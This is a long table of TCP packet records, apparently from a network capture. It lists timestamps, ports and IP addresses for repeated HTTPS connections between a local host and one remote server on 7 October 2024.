Oct 7, 2024 17:22:26.318265915 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.318276882 CEST	49769	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.318283081 CEST	443	49769	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.320271015 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.320285082 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.320394039 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.320487022 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.320499897 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.418962955 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.419054985 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.419118881 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.419322014 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.419342995 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.419356108 CEST	49770	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.419363976 CEST	443	49770	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.422152042 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.422194958 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:26.422271967 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.422406912 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:26.422415972 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.132049084 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.132618904 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.132774115 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.132796049 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.133023024 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.133049965 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.133193970 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.133200884 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.133651018 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.133656979 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.133718967 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.133816957 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.134073019 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.134090900 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.134140015 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.134146929 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.134448051 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.134452105 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.134650946 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.134654999 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.229469061 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.229528904 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.229587078 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.229796886 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.229815960 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.229827881 CEST	49772	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.229834080 CEST	443	49772	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.230108023 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.230170012 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.230214119 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.230983973 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.230999947 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.231009007 CEST	49774	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.231014013 CEST	443	49774	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.231189013 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.231245995 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.231290102 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.231744051 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.231749058 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.231755972 CEST	49773	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.231759071 CEST	443	49773	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.231946945 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.232001066 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.232054949 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.232726097 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.232738018 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.232758999 CEST	49771	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.232764006 CEST	443	49771	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.234620094 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.234661102 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.234738111 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.235807896 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.235852003 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.235912085 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.235918999 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.235948086 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.235979080 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.236082077 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.236099005 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.236300945 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.236318111 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.236402035 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.236413956 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.236929893 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.236942053 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.237009048 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.237325907 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.237339973 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.324460983 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.324980974 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.325012922 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.325417995 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.325423002 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.422250986 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.422343969 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.422410965 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.422604084 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.422622919 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.422635078 CEST	49775	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.422640085 CEST	443	49775	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.425575018 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.425616026 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.425720930 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.425858021 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.425870895 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.959037066 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.959268093 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.959269047 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.959664106 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.959724903 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.960071087 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.960086107 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.960638046 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.960675001 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.961112022 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.961118937 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.961421967 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.961451054 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.961946964 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.961958885 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.962668896 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.963077068 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.963108063 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:27.963454008 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:27.963464975 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.055270910 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.055339098 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.055439949 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.058547020 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.058598995 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.058665037 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.060185909 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.060257912 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.060316086 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.064605951 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.064668894 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.064723969 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.078022003 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.078022957 CEST	49776	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.078038931 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.078068972 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.078069925 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.078087091 CEST	49777	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.078093052 CEST	443	49777	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.078102112 CEST	443	49776	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.079447985 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.079454899 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.079466105 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.079468966 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.081032991 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.081048012 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.081083059 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.081096888 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.086771011 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.086828947 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.086904049 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.088711977 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.088726997 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.088845968 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.089425087 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.089442015 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.089520931 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.089531898 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.090480089 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.090508938 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.090606928 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.090778112 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.090785980 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.091316938 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.091348886 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.091800928 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.091903925 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.091912031 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.143841982 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.146723986 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.146744013 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.147201061 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.147207022 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.256088018 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.256172895 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.256638050 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.256757021 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.256777048 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.256793022 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.256799936 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.259742022 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.259778023 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.259860992 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.260076046 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.260087967 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.701922894 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.702881098 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.702944994 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.703366995 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.703381062 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.710844040 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.711328030 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.711349010 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.711713076 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.711719036 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.765012026 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.765042067 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.765682936 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.765697956 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.765743017 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.765824080 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.766026020 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.766030073 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.766398907 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.766417027 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.798095942 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.798268080 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.798563004 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.798563957 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.798563957 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.801502943 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.801537991 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.801624060 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.801793098 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.801804066 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.843148947 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.843199968 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.843416929 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.843512058 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.843534946 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.843545914 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.843552113 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.846555948 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.846580029 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.846688032 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.846903086 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.846919060 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.884746075 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.885338068 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.885354996 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.885862112 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.885865927 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.919025898 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.919100046 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.919374943 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.919374943 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.919473886 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.919511080 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.921441078 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.921500921 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.921585083 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.921786070 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.921801090 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.921812057 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.921817064 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.922234058 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.922291994 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.922383070 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.922497034 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.922513008 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.924350023 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.924376965 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:28.924468040 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.924633026 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:28.924643040 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.007066965 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.007225037 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.007302999 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.007487059 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.007508039 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.007519007 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.007524967 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.010804892 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.010843992 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.010930061 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.011110067 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.011123896 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.108321905 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.108385086 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.461273909 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.462121010 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.462143898 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.462488890 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.462495089 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.492163897 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.492713928 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.492748976 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.493088007 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.493097067 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.542871952 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.546596050 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.546621084 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.547152996 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.547161102 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.559488058 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.559657097 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.559870958 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.560214043 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.560214043 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.560233116 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.560241938 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.563052893 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.563106060 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.563191891 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.563354969 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.563370943 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.579129934 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.579781055 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.579808950 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.580518007 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.580527067 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.593302965 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.593357086 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.593585968 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.593630075 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.593652964 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.593663931 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.593671083 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.596399069 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.596456051 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.596550941 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.596743107 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.596760988 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.644206047 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.644274950 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.644460917 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.644577980 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.644598961 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.644609928 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.644615889 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.647622108 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.647660017 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.647754908 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.647968054 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.647975922 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.651626110 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:29.652044058 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:29.652076006 CEST	443	49790	13.107.246.60	192.168.2.5
